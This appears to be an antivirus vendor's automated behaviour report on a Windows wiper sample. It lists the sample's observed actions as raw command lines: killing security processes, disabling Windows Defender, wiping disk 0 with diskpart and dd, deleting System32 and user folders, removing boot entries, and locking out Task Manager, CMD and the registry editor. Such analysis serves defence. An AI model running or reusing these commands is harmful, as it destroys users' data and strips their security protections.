Technical Information
To ensure autorun and distribution
Modifies master boot record (MBR).
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Command Prompt (CMD)
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
modifies the following system settings:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Set-MpPreference -DisableIOAVProtection $true -Force"
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im 360tray.exe
- '<SYSTEM32>\taskkill.exe' /f /im 360safe.exe
- '<SYSTEM32>\taskkill.exe' /f /im 360sd.exe
- '<SYSTEM32>\taskkill.exe' /f /im avp.exe
- '<SYSTEM32>\taskkill.exe' /f /im avguard.exe
- '<SYSTEM32>\taskkill.exe' /f /im NisSrv.exe
- '<SYSTEM32>\taskkill.exe' /f /im MsMpEng.exe
- '<SYSTEM32>\taskkill.exe' /f /im kav.exe
- '<SYSTEM32>\taskkill.exe' /f /im kis.exe
- '<SYSTEM32>\taskkill.exe' /f /im defender.exe
- '<SYSTEM32>\taskkill.exe' /f /im SecurityHealth.exe
- '<SYSTEM32>\taskkill.exe' /f /im zhudongfangyu.exe
- '<SYSTEM32>\taskkill.exe' /f /im qutmserv.exe
- '<SYSTEM32>\taskkill.exe' /f /im hipsmain.exe
- '<SYSTEM32>\taskkill.exe' /f /im hipstray.exe
- '<SYSTEM32>\taskkill.exe' /f /im QQPCMgr.exe
- '<SYSTEM32>\taskkill.exe' /f /im QQPcRealTime.exe
- '<SYSTEM32>\taskkill.exe' /f /im rsmain.exe
- '<SYSTEM32>\taskkill.exe' /f /im rsstub.exe
- '<SYSTEM32>\taskkill.exe' /f /im KSC.exe
- '<SYSTEM32>\taskkill.exe' /f /im KSafeTray.exe
Modifies file system
Creates the following files
- nul
Deletes the following system files
- <SYSTEM32>\msvcp140.dll
- <SYSTEM32>\vcruntime140.dll
- <SYSTEM32>\vcruntime140_1.dll
- <DRIVERS>\lsi_sas.sys
- <DRIVERS>\rtnic64.sys
- <SYSTEM32>\catroot2\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\catdb
- <SYSTEM32>\catroot2\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\catdb.jfm
- <SYSTEM32>\catroot2\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\catdb
- <SYSTEM32>\catroot2\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\catdb.jfm
- <SYSTEM32>\LogFiles\WMI\Diagtrack-Listener.etl.006
- <SYSTEM32>\LogFiles\WMI\LwtNetLog.etl
- <SYSTEM32>\LogFiles\WMI\Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace.etl
- <SYSTEM32>\logfiles\wmi\netcore.etl
- <SYSTEM32>\logfiles\wmi\ntfslog.etl
- <SYSTEM32>\logfiles\wmi\radiomgr.etl
- <SYSTEM32>\logfiles\wmi\wifi.etl
- <SYSTEM32>\restore\MachineGuid.txt
- <SYSTEM32>\SleepStudy\UserNotPresentSession.etl
- <SYSTEM32>\spool\prtprocs\x64\winprint.dll
- <SYSTEM32>\WDI\LogFiles\WdiContextLog.etl.001
- <SYSTEM32>\winevt\Logs\AirSpaceChannel.etl
- <SYSTEM32>\winevt\Logs\Microsoft-RMS-MSIPC%4Debug.etl
Deletes following files that it created itself
- <SYSTEM32>\catroot2\edb.log
- <SYSTEM32>\catroot2\edb.chk
Moves the following files
- from <SYSTEM32>\catroot2\edbtmp.log to <SYSTEM32>\catroot2\edb.log
Substitutes the following files
- <SYSTEM32>\catroot2\edb.log
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360tray.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360sd.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360safe.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im avp.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im avguard.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im MsMpEng.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im NisSrv.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im kav.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im kis.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im defender.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im SecurityHealth.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im zhudongfangyu.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im qutmserv.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im hipsmain.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im hipstray.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im QQPCMgr.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im QQPcRealTime.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rsmain.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rsstub.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im KSC.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im KSafeTray.exe >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true -Force" >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableBehaviorMonitoring $true -Force" >nul 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableBlockAtFirstSeen $true -Force" >nul 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableIOAVProtection $true -Force" >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend >nul 2>nul
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start= disabled >nul 2>nul
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\cmd.exe' /c (echo select disk 0 & echo clean & echo exit) | diskpart >nul 2>nul
- '<SYSTEM32>\cmd.exe' /S /D /c" ( echo select disk 0 & echo clean & echo exit )"
- '<SYSTEM32>\diskpart.exe'
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\cmd.exe' /c dd if=/dev/zero of=\\?\PhysicalDrive0 bs=512 count=1 >nul 2>nul
- '<SYSTEM32>\cmd.exe' /c del /f /s /q <SYSTEM32> >nul 2>nul & rmdir /s /q <SYSTEM32> >nul 2>nul & rmdir /s /q %WINDIR%\WinSxS >nul 2>nul & rmdir /s /q C:\Users >nul 2>nul & del /f /q %WINDIR%\*.exe >nul 2>nul & del ...
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {current} /f >nul 2>nul
- '<SYSTEM32>\bcdedit.exe' /delete {current} /f
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {bootmgr} /f >nul 2>nul
- '<SYSTEM32>\bcdedit.exe' /delete {bootmgr} /f
- '<SYSTEM32>\cmd.exe' /c bootsect /nt60 sys /mbr >nul 2>nul
- '<SYSTEM32>\bootsect.exe' /nt60 sys /mbr
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360tray.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360sd.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im 360safe.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im avp.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im avguard.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im MsMpEng.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im NisSrv.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im kav.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im kis.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im defender.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im SecurityHealth.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im zhudongfangyu.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im qutmserv.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im hipsmain.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im hipstray.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im QQPCMgr.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im QQPcRealTime.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rsmain.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rsstub.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im KSC.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im KSafeTray.exe >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true -Force" >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableBehaviorMonitoring $true -Force" >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableBlockAtFirstSeen $true -Force" >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -c "Set-MpPreference -DisableIOAVProtection $true -Force" >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start= disabled >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c (echo select disk 0 & echo clean & echo exit) | diskpart >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c dd if=/dev/zero of=\\?\PhysicalDrive0 bs=512 count=1 >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q <SYSTEM32> >nul 2>nul & rmdir /s /q <SYSTEM32> >nul 2>nul & rmdir /s /q %WINDIR%\WinSxS >nul 2>nul & rmdir /s /q C:\Users >nul 2>nul & del /f /q %WINDIR%\*.exe >nul 2>nul & del ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {current} /f >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {bootmgr} /f >nul 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bootsect /nt60 sys /mbr >nul 2>nul' (with hidden window)
